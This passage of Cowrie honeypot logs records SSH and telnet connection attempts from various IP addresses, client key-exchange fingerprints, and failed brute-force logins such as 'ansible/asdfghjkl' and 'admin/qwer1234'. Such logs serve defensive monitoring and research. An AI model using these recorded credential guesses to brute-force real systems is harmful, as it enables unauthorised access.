aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:47.459295Z","src_ip":"159.203.92.129","session":"1d70567287ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansibleansible@123","message":"login attempt [ansible/ansibleansible@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:47.472177Z","src_ip":"159.203.92.129","session":"1d70567287ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:14:48.478279Z","src_ip":"159.203.92.129","session":"1d70567287ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":49776,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd561652d50","protocol":"telnet","message":"New connection: 139.162.207.207:49776 (10.17.0.5:23) [session: 7cd561652d50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:07.525465Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45148,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe74d836da6e","protocol":"ssh","message":"New connection: 159.203.92.129:45148 (159.203.135.109:22) [session: fe74d836da6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:33.282396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:33.287395Z","src_ip":"159.203.92.129","session":"fe74d836da6e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:33.292118Z","src_ip":"159.203.92.129","session":"fe74d836da6e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansibleansibleansible","message":"login attempt [ansible/ansibleansibleansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:33.304864Z","src_ip":"159.203.92.129","session":"fe74d836da6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:34.312383Z","src_ip":"159.203.92.129","session":"fe74d836da6e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.86146330833435,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:43.386787Z","src_ip":"139.162.207.207","session":"7cd561652d50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.130","src_port":55544,"dst_ip":"159.203.135.109","dst_port":22,"session":"eec8e7955b7c","protocol":"ssh","message":"New connection: 37.143.61.130:55544 (159.203.135.109:22) [session: eec8e7955b7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:53.479351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:54.396777Z","src_ip":"37.143.61.130","session":"eec8e7955b7c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:54.495660Z","src_ip":"37.143.61.130","session":"eec8e7955b7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwer1234","message":"login attempt [admin/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:58.406740Z","src_ip":"37.143.61.130","session":"eec8e7955b7c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00176930427551,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:15:59.468641Z","src_ip":"45.181.100.135","session":"8f853278452e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":33980,"dst_ip":"159.203.135.109","dst_port":23,"session":"3fe8e1419254","protocol":"telnet","message":"New connection: 45.181.100.135:33980 (159.203.135.109:23) [session: 3fe8e1419254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:00.393389Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.100.135","src_port":34333,"dst_ip":"159.203.135.109","dst_port":23,"session":"2229c4c78841","protocol":"telnet","message":"New connection: 45.181.100.135:34333 (159.203.135.109:23) [session: 2229c4c78841]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:00.966349Z"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:01.513307Z","src_ip":"37.143.61.130","session":"eec8e7955b7c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":45974,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f1b64f93bd5","protocol":"telnet","message":"New connection: 139.162.207.207:45974 (10.17.0.5:23) [session: 0f1b64f93bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:05.064252Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60344,"dst_ip":"159.203.135.109","dst_port":22,"session":"6aff71e4fc78","protocol":"ssh","message":"New connection: 159.203.92.129:60344 (159.203.135.109:22) [session: 6aff71e4fc78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:18.704653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:18.711662Z","src_ip":"159.203.92.129","session":"6aff71e4fc78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:18.717294Z","src_ip":"159.203.92.129","session":"6aff71e4fc78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"asdfghjkl","message":"login attempt [ansible/asdfghjkl] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:18.737746Z","src_ip":"159.203.92.129","session":"6aff71e4fc78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:19.745660Z","src_ip":"159.203.92.129","session":"6aff71e4fc78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00111055374146,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:34.287217Z","src_ip":"89.43.133.209","session":"e96748677177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.43.133.209","src_port":54879,"dst_ip":"10.17.0.5","dst_port":23,"session":"a82b86bef3b0","protocol":"telnet","message":"New connection: 89.43.133.209:54879 (10.17.0.5:23) [session: a82b86bef3b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:35.063651Z"}
{"eventid":"cowrie.session.closed","duration":33.223793506622314,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:38.287678Z","src_ip":"139.162.207.207","session":"0f1b64f93bd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00130796432495,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:39.078284Z","src_ip":"89.43.133.209","session":"b0f66157bc51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":45910,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d01314480e4","protocol":"telnet","message":"New connection: 185.26.126.47:45910 (159.203.135.109:23) [session: 4d01314480e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:16:40.511297Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45638,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcf7c5a44b9e","protocol":"ssh","message":"New connection: 159.203.92.129:45638 (159.203.135.109:22) [session: bcf7c5a44b9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:03.836503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:03.863351Z","src_ip":"159.203.92.129","session":"bcf7c5a44b9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:03.867426Z","src_ip":"159.203.92.129","session":"bcf7c5a44b9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"axj123","message":"login attempt [ansible/axj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:03.971513Z","src_ip":"159.203.92.129","session":"bcf7c5a44b9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:04.979876Z","src_ip":"159.203.92.129","session":"bcf7c5a44b9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.182","src_port":46852,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a7bcb15635","protocol":"ssh","message":"New connection: 80.94.92.182:46852 (10.17.0.5:22) [session: 51a7bcb15635]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:14.369380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:14.596354Z","src_ip":"80.94.92.182","session":"51a7bcb15635","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:14.600832Z","src_ip":"80.94.92.182","session":"51a7bcb15635","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"1234567890-=","message":"login attempt [solana/1234567890-=] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:15.716359Z","src_ip":"80.94.92.182","session":"51a7bcb15635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:16.985614Z","src_ip":"80.94.92.182","session":"51a7bcb15635","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.544543504714966,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:20.055679Z","src_ip":"185.26.126.47","session":"4d01314480e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52182,"dst_ip":"159.203.135.109","dst_port":22,"session":"9310fcb8f47f","protocol":"ssh","message":"New connection: 159.203.92.129:52182 (159.203.135.109:22) [session: 9310fcb8f47f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:48.742419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:48.752373Z","src_ip":"159.203.92.129","session":"9310fcb8f47f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:48.758434Z","src_ip":"159.203.92.129","session":"9310fcb8f47f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"azraeluzd","message":"login attempt [ansible/azraeluzd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:48.777947Z","src_ip":"159.203.92.129","session":"9310fcb8f47f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:17:49.784846Z","src_ip":"159.203.92.129","session":"9310fcb8f47f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00318312644958,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:18:00.396460Z","src_ip":"45.181.100.135","session":"3fe8e1419254","protocol":"telnet"}
